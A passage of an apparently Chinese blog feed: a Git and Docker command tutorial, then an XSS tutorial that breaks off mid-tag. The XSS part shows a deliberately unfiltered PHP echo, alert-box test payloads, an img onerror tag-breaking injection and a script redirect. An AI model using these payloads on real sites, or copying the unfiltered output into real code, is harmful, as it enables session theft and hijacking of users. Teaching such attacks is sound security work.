管理的文件有三种状态：已修改（modified）、已暂存（staged）、已提交（committed）</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/16/tga7QNjrkfeCIOn.png" alt="image.png"></p><h4 id="本地项目搭建"><a class="markdownIt-Anchor" href="#本地项目搭建">#</a> 本地项目搭建</h4><p>1. 创建一个全新仓库</p><p>初始化：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git init</span><br></pre></td></tr></table></figure></div><p>2. 克隆远程仓库</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone [url] //https://github.com/Fc04dB/Fc04dB.github.io/tree/main/2024/04</span><br></pre></td></tr></table></figure></div><h3 id="git文件操作"><a class="markdownIt-Anchor" href="#git文件操作">#</a> Git 文件操作</h3><h4 id="文件状态"><a class="markdownIt-Anchor" href="#文件状态">#</a> 文件状态</h4><p>版本控制就是对文件的版本控制，要对文件进行修改、提交等操作，首先要知道文件当前在什么状态，不然可能会提交了现在还不想提交的文件，或者要提交的文件没提交上。</p><ul><li>Untracked: 未跟踪，此文件在文件夹中，但并没有加入到 git 库，不参与版本控制。通过 git add 状态变为 Staged.</li><li>Unmodify: 文件已经入库，未修改，即版本库中的文件快照内容与文件夹中完全一致。这种类型的文件有两种去处，如果它被修改，而变为 Modified. 如果使用 git rm 移出版本库，则成为 Untracked 文件</li><li>Modified: 文件已修改，仅仅是修改，并没有进行其他的操作。这个文件也有两个去处，通过 git add 可进入暂存 staged 状态，使用 git checkout 则丢弃修改过，返回到 unmodify 状态，这个 git checkout 即从库中取出文件，覆盖当前修改！</li><li>Staged: 暂存状态。执行 git commit 则将修改同步到库中，这时库中的文件和本地文件又变为一致，文件为 Unmodify 状态。执行 git reset HEAD filename 取消暂存，文件状态为 Modified</li></ul><h4 id="查看文件状态"><a class="markdownIt-Anchor" href="#查看文件状态">#</a> 查看文件状态</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#查看指定文件状态</span><br><span class="line">git status [filename]</span><br><span class="line"></span><br><span class="line">#查看所有文件状态</span><br><span class="line">git status</span><br><span class="line"></span><br><span class="line"># git add .                  添加所有文件到暂存区</span><br><span class="line"># git commit -m &quot;消息内容&quot;    提交暂存区中的内容到本地仓库 -m 提交信息</span><br></pre></td></tr></table></figure></div><h4 id="忽略文件"><a class="markdownIt-Anchor" href="#忽略文件">#</a> 忽略文件</h4><p>有些时候我们不想把某些文件纳入版本控制中，比如数据库文件，临时文件，设计文件等</p><p>在主目录下建立 &quot;.gitignore&quot; 文件，此文件有如下规则：</p><ol><li>忽略文件中的空行或以井号（#）开始的行将会被忽略。</li><li>可以使用 Linux 通配符。例如：星号（*）代表任意多个字符，问号（？）代表一个字符，方括号（[abc]）代表可选字符范围，大括号（{string1,string2,…}）代表可选的字符串等。</li><li>如果名称的最前面有一个感叹号（!），表示例外规则，将不被忽略。</li><li>如果名称的最前面是一个路径分隔符（/），表示要忽略的文件在此目录下，而子目录中的文件不忽略。</li><li>如果名称的最后面是一个路径分隔符（/），表示要忽略的是此目录下该名称的子目录，而非文件（默认文件或目录都忽略）。</li></ol><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#为注释</span><br><span class="line">*.txt        #忽略所有 .txt结尾的文件,这样的话上传就不会被选中！</span><br><span class="line">!lib.txt     #但lib.txt除外</span><br><span class="line">/temp        #仅忽略项目根目录下的TODO文件,不包括其它目录temp</span><br><span class="line">build/       #忽略build/目录下的所有文件</span><br><span class="line">doc/*.txt    #会忽略 doc/notes.txt 但不包括 doc/server/arch.txt</span><br></pre></td></tr></table></figure></div><h2 id="git命令"><a class="markdownIt-Anchor" href="#git命令">#</a> Git 命令</h2><p>仓库：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># 在当前目录新建一个Git代码库</span><br><span class="line">$ git init</span><br><span class="line"></span><br><span class="line"># 新建一个目录，将其初始化为Git代码库</span><br><span class="line">$ git init [project-name]</span><br><span class="line"></span><br><span class="line"># 下载一个项目和它的整个代码历史</span><br><span class="line">$ git clone [url]</span><br></pre></td></tr></table></figure></div><p>配置：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"># 显示当前的Git配置</span><br><span class="line">$ git config --list</span><br><span class="line"></span><br><span class="line"># 编辑Git配置文件</span><br><span class="line">$ git config -e [--global]</span><br><span class="line"></span><br><span class="line"># 设置提交代码时的用户信息</span><br><span class="line">$ git config [--global] user.name &quot;[name]&quot;</span><br><span class="line">$ git config [--global] user.email &quot;[email address]&quot;</span><br></pre></td></tr></table></figure></div><p>增加 / 删除文件：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"># 添加指定文件到暂存区</span><br><span class="line">$ git add [file1] [file2] ...</span><br><span class="line"></span><br><span class="line"># 添加指定目录到暂存区，包括子目录</span><br><span class="line">$ git add [dir]</span><br><span class="line"></span><br><span class="line"># 添加当前目录的所有文件到暂存区</span><br><span class="line">$ git add .</span><br><span class="line"></span><br><span class="line"># 添加每个变化前，都会要求确认</span><br><span class="line"># 对于同一个文件的多处变化，可以实现分次提交</span><br><span class="line">$ git add -p</span><br><span class="line"></span><br><span class="line"># 删除工作区文件，并且将这次删除放入暂存区</span><br><span class="line">$ git rm [file1] [file2] ...</span><br><span class="line"></span><br><span class="line"># 停止追踪指定文件，但该文件会保留在工作区</span><br><span class="line">$ git rm --cached [file]</span><br><span class="line"></span><br><span class="line"># 改名文件，并且将这个改名放入暂存区</span><br><span class="line">$ git mv [file-original] [file-renamed]</span><br></pre></td></tr></table></figure></div><p>代码提交：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"># 提交暂存区到仓库区</span><br><span class="line">$ git commit -m [message]</span><br><span class="line"></span><br><span class="line"># 提交暂存区的指定文件到仓库区</span><br><span class="line">$ git commit [file1] [file2] ... -m [message]</span><br><span class="line"></span><br><span class="line"># 提交工作区自上次commit之后的变化，直接到仓库区</span><br><span class="line">$ git commit -a</span><br><span class="line"></span><br><span class="line"># 提交时显示所有diff信息</span><br><span class="line">$ git commit -v</span><br><span class="line"></span><br><span class="line"># 使用一次新的commit，替代上一次提交</span><br><span class="line"># 如果代码没有任何新变化，则用来改写上一次commit的提交信息</span><br><span class="line">$ git commit --amend -m [message]</span><br><span class="line"></span><br><span class="line"># 重做上一次commit，并包括指定文件的新变化</span><br><span class="line">$ git commit --amend [file1] [file2] ...</span><br></pre></td></tr></table></figure></div><p>更多指令和插件下载 &lt;<a class="link" href="https://gitee.com/all-about-git">Git 大全 - Gitee.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>&gt;</p><blockquote><p>标签</p><p>查看信息</p><p>远程同步</p><p>撤销</p></blockquote><h2 id="git分支"><a class="markdownIt-Anchor" href="#git分支">#</a> Git 分支</h2><p><img lazyload src="/images/loading.svg" data-src="C:/Users/20957/AppData/Roaming/Typora/typora-user-images/image-20240416113826761.png" alt="image-20240416113826761"></p><p>我曾在搭建这个博客时遇到了关于分支的很大的问题，github 更改过一次分支，将 master 改为了 main，但是我本地依旧是 master，就需要更改分支</p><h3 id="分支的指令"><a class="markdownIt-Anchor" href="#分支的指令">#</a> 分支的指令</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"># 列出所有本地分支</span><br><span class="line">git branch</span><br><span class="line"></span><br><span class="line"># 列出所有远程分支</span><br><span class="line">git branch -r</span><br><span class="line"></span><br><span class="line"># 新建一个分支，但依然停留在当前分支</span><br><span class="line">git branch [branch-name]</span><br><span class="line"></span><br><span class="line"># 新建一个分支，并切换到该分支</span><br><span class="line">git checkout -b [branch]</span><br><span class="line"></span><br><span class="line"># 合并指定分支到当前分支</span><br><span class="line">$ git merge [branch]</span><br><span class="line"></span><br><span class="line"># 删除分支</span><br><span class="line">$ git branch -d [branch-name]</span><br><span class="line"></span><br><span class="line"># 删除远程分支</span><br><span class="line">$ git push origin --delete [branch-name]</span><br><span class="line">$ git branch -dr [remote/branch]</span><br></pre></td></tr></table></figure></div><h1 id="docker"><a class="markdownIt-Anchor" href="#docker">#</a> Docker</h1><p><strong>Docker</strong> 是一个开源的应用容器引擎，基于 Go 语言，并遵从 Apache2.0 协议开源。它可以让开发者将应用程序及其依赖包打包到一个轻量级、可移植的容器中，然后发布到任何流行的 Linux 机器上，也可以实现虚拟化。<strong>Docker</strong> 可用于开发应用、交付应用和运行应用等场景</p><p>容器技术的起源可以追溯到解决重复搭建环境、浪费时间和效率的问题。在没有容器技术之前，虚拟机是一种常见的解决方案，但它们存在资源占用大、启动时间慢等问题。与虚拟机不同，<strong>Docker</strong> 使用容器隔离应用程序的运行时环境，但容器之间可以共享同一个操作系统。这使得容器更轻量且占用更少资源，且启动速度快。因此，<strong>Docker</strong> 成为了打包服务栈的高效方式</p><p>Docker 的主要用途，目前有三大类。</p><p>**（1）提供一次性的环境。** 比如，本地测试他人的软件、持续集成的时候提供单元测试和构建的环境。</p><p>**（2）提供弹性的云服务。** 因为 Docker 容器可以随开随关，很适合动态扩容和缩容。</p><p>**（3）组建微服务架构。** 通过多个容器，一台机器可以跑多个服务，因此在本机就可以模拟出微服务架构。</p><h2 id="docker命令"><a class="markdownIt-Anchor" href="#docker命令">#</a> Docker 命令</h2><h3 id="基础命令"><a class="markdownIt-Anchor" href="#基础命令">#</a> 基础命令</h3><p>启动 Docker： <code>systemctl start docker</code></p><p>关闭 Docker：  <code>systemctl stop docker</code></p><p>重启 Docker： <code>systemctl restart docker</code></p><p>docker 设置随服务启动而自启动： <code>systemctl enable docker</code></p><p>查看 Docker 运行状态： <code>systemctl status docker</code></p><p>查看 Docker 版本号信息： <code>docker version &amp; docker info</code></p><p>Docker 帮助命令： <code>docker --help</code></p><h3 id="镜像-容器命令"><a class="markdownIt-Anchor" href="#镜像-容器命令">#</a> 镜像 / 容器命令</h3><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/16/lkoNY3MnVQPK4Hy.jpg" alt="533212df4b4d89ffad49622b744f932.jpg"></p><p><strong>镜像</strong></p><p><code>docker search 镜像id或name</code> ：在 Docker Hub（或其他镜像仓库如阿里镜像）仓库中搜索关键字的镜像</p><p><code>docker pull 镜像id或name</code> ：从仓库中下载镜像，若要指定版本，则要在冒号后指定</p><p><code>docker images</code> ：列出已经下载的镜像，查看镜像</p><p><code>docker rmi 镜像id或name</code> ：删除本地镜像</p><p><code>docker rmi -f 镜像id或name</code> : 删除镜像</p><p><code>docker build</code> ：构建镜像</p><p><code>docker save</code> ：将镜像压缩并保存到本地</p><p><code>docker load</code> ：从本地下载镜像</p><p><strong>容器</strong></p><p><code>docker ps</code> ：列出运行中的容器</p><p><code>docker ps -a</code>  ： 查看所有容器，包括未运行</p><p><code>docker run</code> ：启动容器</p><p><code>docker stop 容器id或name</code> ：停止容器</p><p><code>docker kill 容器id</code> ：强制停止容器</p><p><code>docker start 容器id或name</code> ：启动已停止的容器</p><p><code>docker inspect 容器id</code> ：查看容器的所有信息</p><p><code>docker container logs 容器id</code> ：查看容器日志</p><p><code>docker top 容器id</code> ：查看容器里的进程</p><p><code>docker exec -it 容器id /bin/bash</code> ：进入容器</p><p><code>exit</code> ：退出容器</p><p><code>docker rm 容器id或name</code> ：删除已停止的容器</p><p><code>docker rm -f 容器id</code> ：删除正在运行的容器</p><p><code>docker exec -it 容器ID sh </code> : 进入容器</p><h2 id="数据卷"><a class="markdownIt-Anchor" href="#数据卷">#</a> 数据卷</h2><p><strong>数据卷</strong>（volume）是一个虚拟目录，是容器内目录与宿主机目录之间映射的桥梁</p><p>Docker 将运用与运行的环境打包形成容器运行， Docker 容器产生的数据，如果不通过 docker commit 生成新的镜像，使得数据做为镜像的一部分保存下来， 那么当容器删除后，数据自然也就没有了。 为了能保存数据在 Docker 中我们使用卷。|</p><p>卷就是目录或文件，存在于一个或多个容器中，由 Docker 挂载到容器，但卷不属于联合文件系统（Union FileSystem），因此能够绕过联合文件系统提供一些用于持续存储或共享数据的特性:。</p><p>卷的设计目的就是数据的持久化，完全独立于容器的生存周期，因此 Docker 不会在容器删除时删除其挂载的数据卷。</p><p>数据卷的特点:</p><p>1. 数据卷可在容器之间共享或重用数据<br> 2. 卷中的更改可以直接生效<br> 3. 数据卷中的更改不会包含在镜像的更新中<br> 4. 数据卷的生命周期一直持续到没有容器使用它为止</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/16/XQzpv3Wh8VP1owE.jpg" alt="9adc1f8d4b0224fc8531ae9cc96249a.jpg"></p><p>在宿主机 / 容器中的更改会同步到另一方</p><h3 id="命令"><a class="markdownIt-Anchor" href="#命令">#</a> 命令</h3><p>创建数据卷： <code>docker volume create my-vol</code></p><p>查看所有数据卷： <code>docker volume ls</code></p><p>删除数据卷： <code>docker volume rm</code></p><p>查看某个数据卷的详情： <code>docker volume inspect</code></p><p>清除数据卷： <code>docker volume prune</code></p><h2 id="image文件"><a class="markdownIt-Anchor" href="#image文件">#</a> image 文件</h2><p>**Docker 把应用程序及其依赖，打包在 image 文件里面。** 只有通过这个文件，才能生成 Docker 容器。image 文件可以看作是容器的模板。Docker 根据 image 文件生成容器的实例。同一个 image 文件，可以生成多个同时运行的容器实例。</p><p>image 是二进制文件。实际开发中，一个 image 文件往往通过继承另一个 image 文件，加上一些个性化设置而生成。举例来说，你可以在 Ubuntu 的 image 基础上，往里面加入 Apache 服务器，形成你的 image。</p><p>image 文件是通用的，一台机器的 image 文件拷贝到另一台机器，照样可以使用。一般来说，为了节省时间，我们应该尽量使用别人制作好的 image 文件，而不是自己制作。即使要定制，也应该基于别人的 image 文件进行加工，而不是从零开始制作。</p><p>为了方便共享，image 文件制作完成后，可以上传到网上的仓库。Docker 的官方仓库 <a class="link" href="https://hub.docker.com/">Docker Hub <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 是最重要、最常用的 image 仓库。</p><h2 id="dockerfile"><a class="markdownIt-Anchor" href="#dockerfile">#</a> Dockerfile</h2><p>Dockerfile 是一个用来构建镜像的文本文件，文本内容包含了一条条构建镜像所需的指令和说明。</p><h3 id="定制镜像"><a class="markdownIt-Anchor" href="#定制镜像">#</a> 定制镜像</h3><p>构建镜像：  <code>docker build -t 镜像名 Dockerfile目录（如是当前所在目录，可用‘.’</code></p><p>镜像的定制实际上就是定制每一层所添加的配置、文件。如果我们可以把每一层修改、安装、构建、操作的命令都写入一个脚本，用这个脚本来构建、定制镜像，无法重复的问题、镜像构建透明性的问题、体积的问题就都会解决。这个脚本就是  <code>Dockerfile</code> 。</p><p><code>Dockerfile</code>  是一个文本文件，其内包含了一条条的指令 (Instruction)，每一条指令构建一层，因此每一条指令的内容，就是描述该层应当如何构建。</p><p>以  <code>nginx</code>  镜像为例，这次我们使用  <code>Dockerfile</code>  来定制。</p><p>在一个空白目录中，建立一个文本文件，并命名为  <code>Dockerfile</code> ：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ mkdir mynginx</span><br><span class="line">$ cd mynginx</span><br><span class="line">$ touch Dockerfile</span><br></pre></td></tr></table></figure></div><p>其内容为：</p><div class="highlight-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">FROM nginx</span><br><span class="line">RUN echo &#x27;&lt;h1&gt;Hello, Docker!&lt;/h1&gt;&#x27; &gt; /usr/share/nginx/html/index.html</span><br></pre></td></tr></table></figure></div><p>这个  <code>Dockerfile</code>  很简单，一共就两行。涉及到了两条指令， <code>FROM</code>  和  <code>RUN</code> 。</p><h4 id="from-指定基础镜像"><a class="markdownIt-Anchor" href="#from-指定基础镜像">#</a> <strong>FROM 指定基础镜像</strong></h4><p>所谓定制镜像，那一定是以一个镜像为基础，在其上进行定制。就像我们之前运行了一个  <code>nginx</code>  镜像的容器，再进行修改一样，基础镜像是必须指定的。而  <code>FROM</code>  就是指定<strong>基础镜像</strong>，因此一个  <code>Dockerfile</code>  中  <code>FROM</code>  是必备的指令，并且必须是第一条指令。</p><p>在  <code>Docker Store</code>  上有非常多的高质量的官方镜像，有可以直接拿来使用的服务类的镜像，如  <code>nginx</code> 、 <code>redis</code> 、 <code>mongo</code> 、 <code>mysql</code> 、 <code>httpd</code> 、 <code>php</code> 、 <code>tomcat</code>  等；也有一些方便开发、构建、运行各种语言应用的镜像，如 <code>node</code> 、 <code>openjdk</code> 、 <code>python</code> 、 <code>ruby</code> 、 <code>golang</code>  等。可以在其中寻找一个最符合我们最终目标的镜像为基础镜像进行定制。</p><p>如果没有找到对应服务的镜像，官方镜像中还提供了一些更为基础的操作系统镜像，如 <code>ubuntu</code> 、 <code>debian</code> 、 <code>centos</code> 、 <code>fedora</code> 、 <code>alpine</code>  等，这些操作系统的软件库为我们提供了更广阔的扩展空间。</p><p>除了选择现有镜像为基础镜像外， <code>Docker</code>  还存在一个特殊的镜像，名为  <code>scratch</code> 。这个镜像是虚拟的概念，并不实际存在，它表示一个空白的镜像。</p><div class="highlight-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">FROM scratch</span><br><span class="line">...</span><br></pre></td></tr></table></figure></div><blockquote><p>如果你以  <code>scratch</code>  为基础镜像的话，意味着你不以任何镜像为基础，接下来所写的指令将作为镜像第一层开始存在。</p></blockquote><p>不以任何系统为基础，直接将可执行文件复制进镜像的做法并不罕见，比如 <code>swarm</code> 、 <code>coreos/etcd</code> 。对于 Linux 下静态编译的程序来说，并不需要有操作系统提供运行时支持，所需的一切库都已经在可执行文件里了，因此直接  <code>FROM scratch</code>  会让镜像体积更加小巧。使用 Go 语言开发的应用很多会使用这种方式来制作镜像，这也是为什么有人认为  <code>Go</code>  是特别适合容器微服务架构的语言的原因之一。</p><h4 id="run-执行命令"><a class="markdownIt-Anchor" href="#run-执行命令">#</a> <strong>RUN 执行命令</strong></h4><p><code>RUN</code>  指令是用来执行命令行命令的。由于命令行的强大能力， <code>RUN</code>  指令在定制镜像时是最常用的指令之一。其格式有两种：</p><ul><li>*<strong>shell* 格式： <code>RUN &lt;命令&gt;</code> ，就像直接在命令行中输入的命令一样。刚才写的  <code>Dockerfile</code>  中的  <code>RUN</code>  指令就是这种格式。</strong></li></ul><div class="highlight-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RUN echo &#x27;&lt;h1&gt;Hello, Docker!&lt;/h1&gt;&#x27; &gt; /usr/share/nginx/html/index.html</span><br></pre></td></tr></table></figure></div><ul><li>*<strong>exec* 格式： <code>RUN [&quot;可执行文件&quot;, &quot;参数1&quot;, &quot;参数2&quot;]</code> ，这更像是函数调用中的格式。</strong></li></ul><h4 id="其他指令"><a class="markdownIt-Anchor" href="#其他指令">#</a> <strong>其他指令</strong>：</h4><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/16/Hy4g3sq6nkEbLmQ.png" alt="image.png"></p><h2 id="docker全流程"><a class="markdownIt-Anchor" href="#docker全流程">#</a> Docker 全流程</h2><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/17/yZoqipkB.png" alt="20200927104919216.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;git&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#git&quot;&gt;#&lt;/a&gt; Git&lt;/h1&gt;
&lt;h2 id=&quot;版本控制&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#版本控制&quot;&gt;#&lt;/a&gt; 版本控制&lt;/h2&gt;</summary>
      
    
    
    
    <category term="Others" scheme="http://example.com/categories/Others/"/>
    
    
  </entry>
  
  <entry>
    <title>XSS</title>
    <link href="http://example.com/2024/04/15/XSS/"/>
    <id>http://example.com/2024/04/15/XSS/</id>
    <published>2024-04-15T11:22:43.000Z</published>
    <updated>2024-11-01T15:38:50.570Z</updated>
    
    <content type="html"><![CDATA[<h1 id="xss"><a class="markdownIt-Anchor" href="#xss">#</a> XSS</h1><h2 id="跨站脚本攻击"><a class="markdownIt-Anchor" href="#跨站脚本攻击">#</a> 跨站脚本攻击</h2><p>网站中包含大量的动态内容以提高用户体验，比过去要复杂得多。所谓动态内容，就是根据用户环境和需要，Web 应用程序能够输出相应的内容。动态站点会受到一种名为 “跨站脚本攻击”（Cross Site Scripting，安全专家们通常将其缩写成 XSS, 原本应当是 css，但为了和层叠样式表（Cascading Style Sheet,CSS）有所区分，故称 XSS，而静态站点则完全不受其影响。XSS 的运行原理是将恶意的 script 脚本插入进 html/css/js 文件当中，恶意攻击者会在 Web 页面里插入恶意 Script 代码，当用户浏览该页之时，嵌入其中 Web 里面的 Script 代码会被执行，从而达到恶意攻击用户的目的。</p><p>跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术，是代码注入的一种。它允许恶意用户将代码注入网页，其他用户在浏览网页时会受到影响，恶意用户利用 xss 代码攻击成功后，可能得到很高的权限、私密网页内容、会话和 cookie 等各种内容</p><p>攻击者利用 XSS 漏洞旁路掉访问控制 —— 例如同源策略 (same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼 (Phishing) 攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的 “缓冲区溢出攻击”，而 JavaScript 是新型的 “ShellCode”。</p><p>xss 漏洞通常是通过 php 的输出函数将 javascript 代码输出到 html 页面中，通过用户本地浏览器执行的，所以 xss 漏洞关键就是<strong>寻找参数未过滤的输出函数。</strong></p><p>例如以下代码：</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$xss</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;x&#x27;</span>];</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$xss</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></div><p>代码未对可控制参数做任何过滤，此时就可以利用 x 构建恶意 js 代码获取一定的信息，测试一下 <code>?x=&lt;script&gt;alert(1)&lt;script&gt;</code></p><p>此时是页面会弹出 <code>1</code> ：</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/sXjQ6w35zbWBAut.png" alt="image.png"></p><p>xss 漏洞一般是在前端，对用户输入的内容缺少过滤，当用户构造恶意的 script 语句时，就有可能泄露信息，用户可以利用 php 中的输出函数（常见的输出函数有： <code>print</code> 、 <code>print_r</code> 、 <code>echo</code> 、 <code>printf</code> 、 <code>sprintf</code> 、 <code>die</code> 、 <code>var_dump</code> 、 <code>var_export</code> ）来获取敏感信息</p><p>危害影响：</p><blockquote><ul><li>盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号</li><li>控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力</li><li>盗窃企业重要的具有商业价值的资料</li><li>非法转账</li><li>强制发送电子邮件</li><li>网站挂马</li><li>控制受害者机器向其它网站发起攻击</li></ul></blockquote><p>其实归根结底，XSS 的攻击方式就是想办法 “教唆” 用户的浏览器去执行一些这个网页中原本不存在的前端代码。可问题在于尽管一个信息框突然弹出来并不怎么友好，但也不至于会造成什么真实伤害啊。的确如此，但要说明的是，这里拿信息框说事仅仅是为了举个栗子，真正的黑客攻击在 XSS 中除非恶作剧，不然是不会在恶意植入代码中写上 alert (“say something”) 的。在真正的应用中，XSS 攻击可以干的事情还有很多</p><p><strong>1. 窃取网页浏览中的 cookie 值</strong></p><p>在网页浏览中我们常常涉及到用户登录，登录完毕之后服务端会返回一个 cookie 值。这个 cookie 值相当于一个令牌，拿着这张令牌就等同于证明了你是某个用户。如果你的 cookie 值被窃取，那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。如果想要通过 script 脚本获得当前页面的 cookie 值，通常会用到 cookie</p><p><strong>2. 劫持流量实现恶意跳转</strong></p><p>这个很简单，就是在网页中想办法插入一句像这样的语句： <script>window.location.href=“<a class="link"   href="http://www.baidu.com" >http://www.baidu.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>”;</script>那么所访问的网站就会被跳转到百度的首页。早在 2011 年新浪就曾爆出过严重的 xss 漏洞，导致大量用户自动关注某个微博号并自动转发某条微博。</p><p>常出现场景：文章发表、评论、留言、注册资料的地方、修改资料的地方等</p><p>XSS 可以分为反射型、存储型、DOM 型</p><h3 id="反射型xss"><a class="markdownIt-Anchor" href="#反射型xss">#</a> 反射型 XSS</h3><p>非持久化</p><p>（1）原理<br>  反射型 xss 又称非持久型 xss，是目前最普遍的类型，这种攻击方式往往具有一次性，危害相对较小，但是方便攻击者构造。发出请求时，XSS 代码出现在 URL 中，作为输入提交到服务器端，服务器端解析后响应，XSS 代码随响应内容一起传回给浏览器，最后浏览器解析执行 XSS 代码。这个过程像一次反射，所以称反射型 XSS。</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/HRqcBeglPQzE4hF.png" alt="image.png"></p><p>（2）攻击方式<br>  攻击者通过电子邮件等方式将包含 xss 代码的恶意链接发送给目标用户。当目标用户访问该链接时，服务器接受该用户的请求并进行处理，然后服务器把带有 xss 代码的数据发送给目标用户的浏览器，浏览器解析这段带有 xss 代码的恶意脚本后就会触发 xss 漏洞</p><p>在判断是否有能利用的 XSS 时，一般需要判断网站过滤了什么字符，然后进行代码注入：<br>面对输入框，先输入 <code>1</code> :</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/JTeYCBVtnUSkmau.png" alt="image.png"></p><p>然后查看源代码，找到输入的 <code>1</code>  出现在什么地方：<br><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/FkWQ7DNZUM1KVHA.png" alt="image.png"></p><p>插入代码： <code>&quot;&gt;&lt;img src=1 onerror=&quot;alert(/xss/)&quot;/&gt;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/xBlZRjIoMrLXdSp.png" alt="image.png"></p><p>注入成功；</p><p><code>&quot;&gt;&lt;img src=1 onerror=&quot;alert(/xss/)&quot;/&gt;</code>  中 <code>&quot;&gt;</code>  闭合了前面的语句，后面 <code>&lt;img src=1 onerror=&quot;alert(/xss/)&quot;/&gt;</code>  是实际利用漏洞达到目的的语句</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/15/Djbq3zoIdWvgwyY.png" alt="image.png"></p><h3 id="存储型xss"><a class="markdownIt-Anchor" href="#存储型xss">#</a> 存储型 XSS</h3><p><img lazyload src="/images/loading.svg" 